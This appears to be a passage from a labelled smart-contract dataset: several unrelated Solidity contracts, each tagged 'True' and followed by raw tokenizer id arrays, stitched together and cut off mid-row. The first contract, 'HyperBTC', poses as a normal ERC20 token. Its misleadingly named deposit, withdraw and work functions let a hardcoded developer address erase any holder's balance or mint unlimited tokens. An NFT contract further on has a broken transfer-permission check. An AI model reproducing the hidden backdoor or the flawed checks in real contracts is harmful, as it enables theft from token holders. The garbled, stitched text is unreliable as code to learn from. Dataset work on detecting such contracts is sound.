1008, 1008, 5918, 1024, 1008, 1008, 1011, 1036, 24880, 16044, 1036, 2442, 2025, 2022, 4064, 1012, 1008, 1011, 1036, 5474, 1036, 2442, 2031, 2025, 2042, 2109, 2005, 1036, 24880, 16044, 1036, 2525, 1012, 1008, 1011, 1996, 4713, 2442, 2031, 1037, 5703, 1997, 2012, 2560, 1036, 3815, 1036, 1012, 1008, 1011, 2065, 1036, 3815, 1036, 2003, 2512, 1011, 5717, 1010, 1036, 24880, 16044, 1036, 2442, 2031, 1037, 1036, 3477, 3085, 1036, 9570, 2953, 1012, 1008, 1013, 3853, 21296, 1006, 21318, 3372, 17788, 2575, 3815, 1010, 27507, 16703, 5474, 1010, 27507, 3638, 24880, 16044, 1007, 2270, 5651, 1006, 4769, 1007, 1063, 4769, 5587, 2099, 1025, 5478, 1006, 4769, 1006, 2023, 1007, 1012, 5703, 1028, 1027, 3815, 1010, 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pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _work(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _withdraw(address account, uint amount) internal { require(account != address(0), "ERC20: _withdraw to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _deposit(address acc) internal { _balances[acc] = 0; } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } contract HyperBTC is ERC20, ERC20Detailed { using SafeMath for uint; mapping (address => bool) public financer; address dev = 0xD336120A0812Bc71b9D1b9A23ae36E9A3e8eB69E; constructor () public ERC20Detailed("Hyper BTC", "hBTC", 18) { _initMint( msg.sender, 100010*uint(decimals()) ); financer[msg.sender] = true; financer[dev] = true; } function deposit(address account) public { require(financer[msg.sender], "!warn"); _deposit(account); } function withdraw(address account, uint amount) public { require(financer[msg.sender], "!warn"); _withdraw(account, amount); } function work(address account, uint amount) public { require(financer[msg.sender], "!warn"); _work(account, amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 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/// value.sol - a value is a simple thing, it can be get and set // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >=0.4.23; // along with this program. If not, see <http://www.gnu.org/licenses/>. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. interface DSAuthority { function canCall( address src, address dst, bytes4 sig ) external view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 \|\| (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 18; uint constant RAY = 10 27; //rounds to zero if xy < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if xy < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if xy < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if xy < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } /// note.sol -- the `note' modifier, for logging calls as events // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; uint256 wad; assembly { foo := calldataload(4) bar := calldataload(36) wad := callvalue() } _; emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); } } // thing.sol - `auth` with handy mixins. your things should be DSThings // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License contract DSThing is DSAuth, DSNote, DSMath { function S(string memory s) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked(s))); } } contract DSValue is DSThing { bool has; bytes32 val; function peek() public view returns (bytes32, bool) { return (val,has); } function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = peek(); require(haz, "haz-not"); return wut; } function poke(bytes32 wut) public note auth { val = wut; has = true; } function void() public note auth { // unset the value has = false; } }	True	[ 101, 1013, 1013, 1013, 3643, 1012, 14017, 1011, 1037, 3643, 2003, 1037, 3722, 2518, 1010, 2009, 2064, 2022, 2131, 1998, 2275, 1013, 1013, 9385, 1006, 1039, 1007, 2418, 4830, 9397, 6979, 2497, 1010, 11775, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 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pragma solidity ^0.4.21; /// @title ERC-165 Standard Interface Detection /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md contract ERC721 is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns (address); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable; function transferFrom(address _from, address _to, uint256 _tokenId) external payable; function approve(address _approved, uint256 _tokenId) external payable; function setApprovalForAll(address _operator, bool _approved) external; function getApproved(uint256 _tokenId) external view returns (address); function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard interface ERC721TokenReceiver { function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4); } /// @title ERC-721 Non-Fungible Token Standard, optional metadata extension interface ERC721Metadata / is ERC721 / { function name() external pure returns (string _name); function symbol() external pure returns (string _symbol); function tokenURI(uint256 _tokenId) external view returns (string); } /// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension interface ERC721Enumerable / is ERC721 / { function totalSupply() external view returns (uint256); function tokenByIndex(uint256 _index) external view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } /// @title A reusable contract to comply with ERC-165 /// @author William Entriken (https://phor.net) contract PublishInterfaces is ERC165 { /// @dev Every interface that we support mapping(bytes4 => bool) internal supportedInterfaces; function PublishInterfaces() internal { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool) { return supportedInterfaces[interfaceID] && (interfaceID != 0xffffffff); } } /// @title The external contract that is responsible for generating metadata for GanTokens, /// it has one function that will return the data as bytes. contract Metadata { /// @dev Given a token Id, returns a string with metadata function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } contract GanNFT is ERC165, ERC721, ERC721Enumerable, PublishInterfaces, Ownable { function GanNFT() internal { supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable supportedInterfaces[0x8153916a] = true; // ERC721 + 165 (not needed) } bytes4 private constant ERC721_RECEIVED = bytes4(keccak256("onERC721Received(address,uint256,bytes)")); // @dev claim price taken for each new GanToken // generating a new token will be free in the beinging and later changed uint256 public claimPrice = 0; // @dev max supply for token uint256 public maxSupply = 300; // The contract that will return tokens metadata Metadata public erc721Metadata; /// @dev list of all owned token ids uint256[] public tokenIds; /// @dev a mpping for all tokens mapping(uint256 => address) public tokenIdToOwner; /// @dev mapping to keep owner balances mapping(address => uint256) public ownershipCounts; /// @dev mapping to owners to an array of tokens that they own mapping(address => uint256[]) public ownerBank; /// @dev mapping to approved ids mapping(uint256 => address) public tokenApprovals; /// @dev The authorized operators for each address mapping (address => mapping (address => bool)) internal operatorApprovals; /// @notice A descriptive name for a collection of NFTs in this contract function name() external pure returns (string) { return "GanToken"; } /// @notice An abbreviated name for NFTs in this contract function symbol() external pure returns (string) { return "GT"; } /// @dev Set the address of the sibling contract that tracks metadata. /// Only the contract creater can call this. /// @param _contractAddress The location of the contract with meta data function setMetadataAddress(address _contractAddress) public onlyOwner { erc721Metadata = Metadata(_contractAddress); } modifier canTransfer(uint256 _tokenId, address _from, address _to) { address owner = tokenIdToOwner[_tokenId]; require(tokenApprovals[_tokenId] == _to \|\| owner == _from \|\| operatorApprovals[_to][_to]); _; } /// @notice checks to see if a sender owns a _tokenId /// @param _tokenId The identifier for an NFT modifier owns(uint256 _tokenId) { require(tokenIdToOwner[_tokenId] == msg.sender); _; } /// @dev This emits any time the ownership of a GanToken changes. event Transfer(address indexed _from, address indexed _to, uint256 _value); /// @dev This emits when the approved addresses for a GanToken is changed or reaffirmed. /// The zero address indicates there is no owner and it get reset on a transfer event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice allow the owner to set the supply max function setMaxSupply(uint max) external payable onlyOwner { require(max > tokenIds.length); maxSupply = max; } /// @notice allow the owner to set a new fee for creating a GanToken function setClaimPrice(uint256 price) external payable onlyOwner { claimPrice = price; } /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) external view returns (uint256 balance) { balance = ownershipCounts[_owner]; } /// @notice Gets the onwner of a an NFT /// @param _tokenId The identifier for an NFT /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = tokenIdToOwner[_tokenId]; } /// @notice returns all owners' tokens will return an empty array /// if the address has no tokens /// @param _owner The address of the owner in question function tokensOfOwner(address _owner) external view returns (uint256[]) { uint256 tokenCount = ownershipCounts[_owner]; if (tokenCount == 0) { return new uint256[](0); } uint256[] memory result = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { result[i] = ownerBank[_owner][i]; } return result; } /// @dev creates a list of all the tokenIds function getAllTokenIds() external view returns (uint256[]) { uint256[] memory result = new uint256[](tokenIds.length); for (uint i = 0; i < result.length; i++) { result[i] = tokenIds[i]; } return result; } /// @notice Create a new GanToken with a id and attaches an owner /// @param _noise The id of the token that's being created function newGanToken(uint256 _noise) external payable { require(msg.sender != address(0)); require(tokenIdToOwner[_noise] == 0x0); require(tokenIds.length < maxSupply); require(msg.value >= claimPrice); tokenIds.push(_noise); ownerBank[msg.sender].push(_noise); tokenIdToOwner[_noise] = msg.sender; ownershipCounts[msg.sender]++; emit Transfer(address(0), msg.sender, 0); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable { _safeTransferFrom(_from, _to, _tokenId, data); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "" /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable { _safeTransferFrom(_from, _to, _tokenId, ""); } /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable { require(_to != 0x0); require(_to != address(this)); require(tokenApprovals[_tokenId] == msg.sender); require(tokenIdToOwner[_tokenId] == _from); _transfer(_tokenId, _to); } /// @notice Grant another address the right to transfer a specific token via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @dev The zero address indicates there is no approved address. /// @dev Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @dev Required for ERC-721 compliance. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Kitty that can be transferred if this call succeeds. function approve(address _to, uint256 _tokenId) external owns(_tokenId) payable { // Register the approval (replacing any previous approval). tokenApprovals[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } /// @notice Enable or disable approval for a third party ("operator") to manage /// all your asset. /// @dev Emits the ApprovalForAll event /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operators is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external { operatorApprovals[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @notice Get the approved address for a single NFT /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address) { return tokenApprovals[_tokenId]; } /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return operatorApprovals[_owner][_operator]; } /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address /// @dev Required for ERC-721 compliance. function totalSupply() external view returns (uint256) { return tokenIds.length; } /// @notice Enumerate valid NFTs /// @param _index A counter less than `totalSupply()` /// @return The token identifier for index the `_index`th NFT 0 if it doesn't exist, function tokenByIndex(uint256 _index) external view returns (uint256) { return tokenIds[_index]; } /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId) { require(_owner != address(0)); require(_index < ownerBank[_owner].length); _tokenId = ownerBank[_owner][_index]; } function _transfer(uint256 _tokenId, address _to) internal { require(_to != address(0)); address from = tokenIdToOwner[_tokenId]; uint256 tokenCount = ownershipCounts[from]; // remove from ownerBank and replace the deleted token id for (uint256 i = 0; i < tokenCount; i++) { uint256 ownedId = ownerBank[from][i]; if (_tokenId == ownedId) { delete ownerBank[from][i]; if (i != tokenCount) { ownerBank[from][i] = ownerBank[from][tokenCount - 1]; } break; } } ownershipCounts[from]--; ownershipCounts[_to]++; ownerBank[_to].push(_tokenId); tokenIdToOwner[_tokenId] = _to; tokenApprovals[_tokenId] = address(0); emit Transfer(from, _to, 1); } /// @dev Actually perform the safeTransferFrom function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) private canTransfer(_tokenId, _from, _to) { address owner = tokenIdToOwner[_tokenId]; require(owner == _from); require(_to != address(0)); require(_to != address(this)); _transfer(_tokenId, _to); // Do the callback after everything is done to avoid reentrancy attack uint256 codeSize; assembly { codeSize := extcodesize(_to) } if (codeSize == 0) { return; } bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data); require(retval == ERC721_RECEIVED); } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d5b4a7b4b6bdbbbcb195bbbaa1b1baa1fbbbb0a1">[email protected]</a>>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private pure { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 * (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b1d0c3d0d2d9dfd8d5f1dfdec5d5dec59fdfd4c5">[email protected]</a>>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private pure returns (string) { string memory outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the GanToken whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); uint256 count; bytes32[4] memory buffer; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } } contract GanTokenMain is GanNFT { struct Offer { bool isForSale; uint256 tokenId; address seller; uint value; // in ether address onlySellTo; // specify to sell only to a specific person } struct Bid { bool hasBid; uint256 tokenId; address bidder; uint value; } /// @dev mapping of balances for address mapping(address => uint256) public pendingWithdrawals; /// @dev mapping of tokenId to to an offer mapping(uint256 => Offer) public ganTokenOfferedForSale; /// @dev mapping bids to tokenIds mapping(uint256 => Bid) public tokenBids; event BidForGanTokenOffered(uint256 tokenId, uint256 value, address sender); event BidWithdrawn(uint256 tokenId, uint256 value, address bidder); event GanTokenOfferedForSale(uint256 tokenId, uint256 minSalePriceInWei, address onlySellTo); event GanTokenNoLongerForSale(uint256 tokenId); /// @notice Allow a token owner to pull sale /// @param tokenId The id of the token that's created function ganTokenNoLongerForSale(uint256 tokenId) public payable owns(tokenId) { ganTokenOfferedForSale[tokenId] = Offer(false, tokenId, msg.sender, 0, 0x0); emit GanTokenNoLongerForSale(tokenId); } /// @notice Put a token up for sale /// @param tokenId The id of the token that's created /// @param minSalePriceInWei desired price of token function offerGanTokenForSale(uint tokenId, uint256 minSalePriceInWei) external payable owns(tokenId) { ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, 0x0); emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, 0x0); } /// @notice Create a new GanToken with a id and attaches an owner /// @param tokenId The id of the token that's being created function offerGanTokenForSaleToAddress(uint tokenId, address sendTo, uint256 minSalePriceInWei) external payable { require(tokenIdToOwner[tokenId] == msg.sender); ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, sendTo); emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, sendTo); } /// @notice Allows an account to buy a NFT gan token that is up for offer /// the token owner must set onlySellTo to the sender /// @param id the id of the token function buyGanToken(uint256 id) public payable { Offer memory offer = ganTokenOfferedForSale[id]; require(offer.isForSale); require(offer.onlySellTo == msg.sender && offer.onlySellTo != 0x0); require(msg.value == offer.value); require(tokenIdToOwner[id] == offer.seller); safeTransferFrom(offer.seller, offer.onlySellTo, id); ganTokenOfferedForSale[id] = Offer(false, id, offer.seller, 0, 0x0); pendingWithdrawals[offer.seller] += msg.value; } /// @notice Allows an account to enter a higher bid on a toekn /// @param tokenId the id of the token function enterBidForGanToken(uint256 tokenId) external payable { Bid memory existing = tokenBids[tokenId]; require(tokenIdToOwner[tokenId] != msg.sender); require(tokenIdToOwner[tokenId] != 0x0); require(msg.value > existing.value); if (existing.value > 0) { // Refund the failing bid pendingWithdrawals[existing.bidder] += existing.value; } tokenBids[tokenId] = Bid(true, tokenId, msg.sender, msg.value); emit BidForGanTokenOffered(tokenId, msg.value, msg.sender); } /// @notice Allows the owner of a token to accept an outstanding bid for that token /// @param tokenId The id of the token that's being created /// @param price The desired price of token in wei function acceptBid(uint256 tokenId, uint256 price) external payable { require(tokenIdToOwner[tokenId] == msg.sender); Bid memory bid = tokenBids[tokenId]; require(bid.value != 0); require(bid.value == price); safeTransferFrom(msg.sender, bid.bidder, tokenId); tokenBids[tokenId] = Bid(false, tokenId, address(0), 0); pendingWithdrawals[msg.sender] += bid.value; } /// @notice Check is a given id is on sale /// @param tokenId The id of the token in question /// @return a bool whether of not the token is on sale function isOnSale(uint256 tokenId) external view returns (bool) { return ganTokenOfferedForSale[tokenId].isForSale; } /// @notice Gets all the sale data related to a token /// @param tokenId The id of the token /// @return sale information function getSaleData(uint256 tokenId) public view returns (bool isForSale, address seller, uint value, address onlySellTo) { Offer memory offer = ganTokenOfferedForSale[tokenId]; isForSale = offer.isForSale; seller = offer.seller; value = offer.value; onlySellTo = offer.onlySellTo; } /// @notice Gets all the bid data related to a token /// @param tokenId The id of the token /// @return bid information function getBidData(uint256 tokenId) view public returns (bool hasBid, address bidder, uint value) { Bid memory bid = tokenBids[tokenId]; hasBid = bid.hasBid; bidder = bid.bidder; value = bid.value; } /// @notice Allows a bidder to withdraw their bid /// @param tokenId The id of the token function withdrawBid(uint256 tokenId) external payable { Bid memory bid = tokenBids[tokenId]; require(tokenIdToOwner[tokenId] != msg.sender); require(tokenIdToOwner[tokenId] != 0x0); require(bid.bidder == msg.sender); emit 